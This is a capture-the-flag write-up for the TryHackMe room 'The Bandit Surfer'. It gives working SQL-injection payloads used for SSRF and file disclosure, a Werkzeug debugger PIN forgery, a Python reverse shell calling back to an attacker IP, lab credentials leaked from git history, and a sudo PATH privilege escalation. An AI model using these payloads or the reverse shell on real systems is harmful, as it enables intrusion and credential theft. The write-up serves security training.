Information
Room
Name: The Bandit Surfer
Profile: tryhackme.com
Difficulty: Hard
Description : The Bandit Yeti is surfing to town.
This is the Side Quest Challenge 4 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023 ).
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf nuclei ruby curl python
Challenge
Network enumeration
Port and service scan with nmap:
# Nmap 7.94 scan initiated Sun Jan 28 17:57:18 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.69.64
Nmap scan report for 10.10.69.64
Host is up, received echo-reply ttl 63 (0.14s latency).
Not shown: 65509 closed tcp ports (reset), 24 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:43:37:a0:ac:a6:22:57:53:00:6d:75:51:db:bc:a9 (RSA)
| 256 25:16:18:74:8c:06:55:16:7e:20:84:89:ae:90:9a:f6 (ECDSA)
|_ 256 fc:0b:0f:e2:c0:00:bb:89:a1:8f:de:71:9d:ad:d1:63 (ED25519)
8000/tcp open http-alt syn-ack ttl 63 Werkzeug/3.0.0 Python/3.8.10
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-title: The BFG
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.0.0 Python/3.8.10
| Date: Sun, 28 Jan 2024 16:58:18 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.0 Python/3.8.10
| Date: Sun, 28 Jan 2024 16:58:12 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 1752
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>The BFG</title>
| <style>
| Reset margins and paddings for the body and html elements */
| html, body {
| margin: 0;
| padding: 0;
| body {
| background-image: url('static/imgs/snow.gif');
| background-size: cover; /* Adjust the background size */
| background-position: center top; /* Center the background image vertically and horizontally */
| display: flex;
| flex-direction: column;
| justify-content: center;
|_ align-items: center;
|_http-server-header: Werkzeug/3.0.0 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
# Nmap done at Sun Jan 28 17:59:45 2024 -- 1 IP address (1 host up) scanned in 147.35 seconds
Web discovery
There is a web application available at http://10.10.69.64:8000/ that offers to download images.
The download links are like /download?id=1
.
If asking for an invalid ID (e.g. /download?id=0
), we get an error, reaveling information about the technology stack and the configuration:
Language: Python
Web framework: Flask
WSGI: Werkzeug
Python version: 3.8
Example of absolute path: /home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py
Username: mcskidy
Web fuzzing
We can try to enumerate all valid image ID to see if some that are not included on the page exist.
➜ ruby -e 'puts (1..20).to_a' | ffuf -u http://10.10.69.64:8000/download\?id\=FUZZ -w -
...
________________________________________________
:: Method : GET
:: URL : http://10.10.69.64:8000/download?id=FUZZ
:: Wordlist : FUZZ: -
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
5 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 73ms]
8 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 145ms]
9 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]
14 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 166ms]
6 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 167ms]
13 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 172ms]
12 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 246ms]
20 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]
7 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]
10 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 159ms]
17 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]
15 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 138ms]
11 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]
19 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 233ms]
16 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]
1 [Status: 200, Size: 33017, Words: 2560, Lines: 223, Duration: 246ms]
2 [Status: 200, Size: 71551, Words: 3093, Lines: 301, Duration: 126ms]
3 [Status: 200, Size: 69873, Words: 8965, Lines: 596, Duration: 166ms]
18 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 523ms]
4 [Status: 200, Size: 2305908, Words: 9820, Lines: 8254, Duration: 301ms]
:: Progress: [20/20] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
So outside ID 1-3 there is an ID 4.
wget http://10.10.69.64:8000/download \? id= 4
This is an image with wanted artic bandits (useless).
There are at least 3 ways to find the werkzeug debugger console (http://10.10.69.64:8000/console ):
Launch nuclei
(nuclei -u http://10.10.69.64:8000
) and the module werkzeug-debugger-detect
will find it
Fuzz with ffuf
(ffuf -u http://10.10.69.64:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
)
From the previous error message we know there is werkzeug so try for some common misconfiguration
Web exploitation - SQLi and SSRF
Unfortunattely, the console is protected by a PIN code.
Metasploit exploit/multi/http/werkzeug_debug_rce
is not working so here werkzeug must be > 0.10.
In that case, we can read on Hacktricks that a if we have a LFD (local file disclosure) we could have the information required to craft the PIN code.
We need to find a LFD first.
On the download page, if we inject a single quote (/download?id='
) we get a SQL error (MySQL), so there is a potential for SQL injection.
With the following payload we have a SSRF ' UNION SELECT "http://10.18.17.12:7000"-- -
.
ruby -run -ehttpd ~/Public -p7000
curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"http://10.18.17.12:7000"--%20-' --output -
We can use the SSRF for LDF too (%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-
).
➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-' --output -
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Web exploitation - LFD to leak werkzeug PIN code
We already know the probably_public_bits
from the previous error message. Now let's retrieve teh information for private_bits
.
In /proc/net/arp
we can find the network interface name.
➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///proc/net/arp"--%20-' --output -
IP address HW type Flags HW address Mask Device
10.10.0.1 0x1 0x2 02:c8:85:b5:5a:aa * eth0
We can find the AMC address of eth0 in /sys/class/net/eth0/address
.
➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///sys/class/net/eth0/address"--%20-' --output -
02:a7:a9:9f:ad:f3
Using ruby we can convert if from hexadecimal to decimal.
'02:a7:a9:9f:ad:f3' . gsub ( ':' , '' )
# => "02a7a99fadf3"
0x02a7a99fadf3
# => 2919128608243
Let's get the machine ID.
➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/machine-id"--%20-' --output -
aee6189caee449718070b58132f2e4ba
We can confirm the hash function required is SHA-1.
➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py"--%20-' --output - -s | grep hashlib
import hashlib
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
h = hashlib.sha1()
Then we can launch the script to generater the PIN code and use it on the console http://10.10.69.64:8000/console .
➜ python werkzeug-pin.py
917-190-257
Note: if not working, restart the machine and do it again. It may requires several attempts.
Shell acquisition
We can generate a reverse shell revshells.com (Python3 #2
).
import socket,subprocess,os;s=socket. socket (socket. AF_INET ,socket. SOCK_STREAM );s. connect (( "10.18.17.12" , 7777 ));os. dup2 (s. fileno (), 0 ); os. dup2 (s. fileno (), 1 );os. dup2 (s. fileno (), 2 ); import pty; pty. spawn ( "/bin/bash" )
We can obtain the shell:
➜ ncat -lvnp 7777
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.69.64:46292.
mcskidy@proddb:~$ id
uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)
User flag
mcskidy@proddb:~$ cat user.txt
THM{EDITED}
Note: We could have read it with the SQLi / SSRF / LFD.
EoP (elevation of privilege) part 1
The source code is versionned.
mcskidy@proddb:~/app$ ls -lhA
total 16K
-rw-rw-r-- 1 mcskidy mcskidy 1.5K Oct 19 20:03 app.py
drwxrwxr-x 8 mcskidy mcskidy 4.0K Nov 2 15:41 .git
drwxrwxr-x 3 mcskidy mcskidy 4.0K Oct 19 19:58 static
drwxrwxr-x 2 mcskidy mcskidy 4.0K Nov 2 15:29 templates
Let's see the history of the file app.py
.
mcskidy@proddb:~/app$ git --no-pager log -p app.py
…
commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date: Thu Oct 19 20:02:57 2023 +0000
Minor update
diff --git a/app.py b/app.py
index 8d05622..5765c7d 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
# MySQL configuration
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = 'EDITED'
+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)
…
commit e9855c8a10cb97c287759f498c3314912b7f4713
Author: mcskidy <mcskidy@proddb>
Date: Thu Oct 19 20:01:41 2023 +0000
Changed MySQL user
diff --git a/app.py b/app.py
index 81fd2d2..5f5ff6e 100644
--- a/app.py
+++ b/app.py
@@ -9,8 +9,8 @@ app = Flask(__name__, static_url_path='/static')
# MySQL configuration
app.config['MYSQL_HOST'] = 'localhost'
-app.config['MYSQL_USER'] = 'root'
-app.config['MYSQL_PASSWORD'] = 'w6UV3tjxAuKCUWtP'
+app.config['MYSQL_USER'] = 'mcskidy'
+app.config['MYSQL_PASSWORD'] = 'EDITED'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)
Credential stuffing
Here are all the MySQL credentials we can try for PAM:
mcskidy
/ fSXT8582GcMLmSt6
❌
mcskidy
/ EDITED
✅
root
/ w6UV3tjxAuKCUWtP
❌
EoP (elevation of privilege) part 2
With the found credentials we can see what commands mcskidy
can run with sudo
.
mcskidy@proddb:~$ sudo -l
Matching Defaults entries for mcskidy on proddb:
env_reset, mail_badpass,
secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
(root) /usr/bin/bash /opt/check.sh
Let's see what /opt/check.sh
can offer.
mcskidy@proddb:~$ cat /opt/check.sh
#!/bin/bash
. /opt/.bashrc
cd /home/mcskidy/
WEBSITE_URL="http://127.0.0.1:8000"
response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)
# Check the HTTP response code
if [ "$response" == "200" ]; then
/usr/bin/echo "Website is running: $WEBSITE_URL"
else
/usr/bin/echo "Website is not running: $WEBSITE_URL"
fi
/opt/.bashrc
is sourced but we can't source it.
mcskidy@proddb:~$ ls -lh /opt/.bashrc
-rw-r--r-- 1 root root 3.7K Oct 19 06:28 /opt/.bashrc
The sudo configuration show we have /home/mcskidy
in the secure_path
.
It's weird to have a .bashrc
in /opt
and to source it. As the file is long let's compare it with another to see if has been changed.
mcskidy@proddb:~$ diff /opt/.bashrc /home/mcskidy/.bashrc
4c4
< enable -n [ # ]
---
>
Shells have bilt-in commands like echo
, history
, pwd
, test
and many others. With -n
option, enable
will disable the built-in command and try to load them from $PATH
. With [ # ]
, all built-ins are disabled. But what good does it do to us since all binaries are with absolute path?
The tricky part is that in if [ "$response" == "200" ]; then
the braquets are a binary /usr/bin/[
. So now that it's loaded from PATH we can create a [
binary in /home/mcskidy/
. You can learn about it on HackTricks - Bypass Linux Restrictions .
mcskidy@proddb:~$ echo 'bash' > ~/[
mcskidy@proddb:~$ chmod +x ~/[
mcskidy@proddb:~$ sudo -u root /usr/bin/bash /opt/check.sh
[sudo] password for mcskidy:
127.0.0.1 - - [28/Jan/2024 21:40:02] "GET / HTTP/1.1" 200 -
root@proddb:/home/mcskidy# id
uid=0(root) gid=0(root) groups=0(root)
Root flag
root@proddb:~# cat /root/root.txt
THM{EDITED}
Yeti flag
root@proddb:~# cat /root/yetikey4.txt
4-EDITED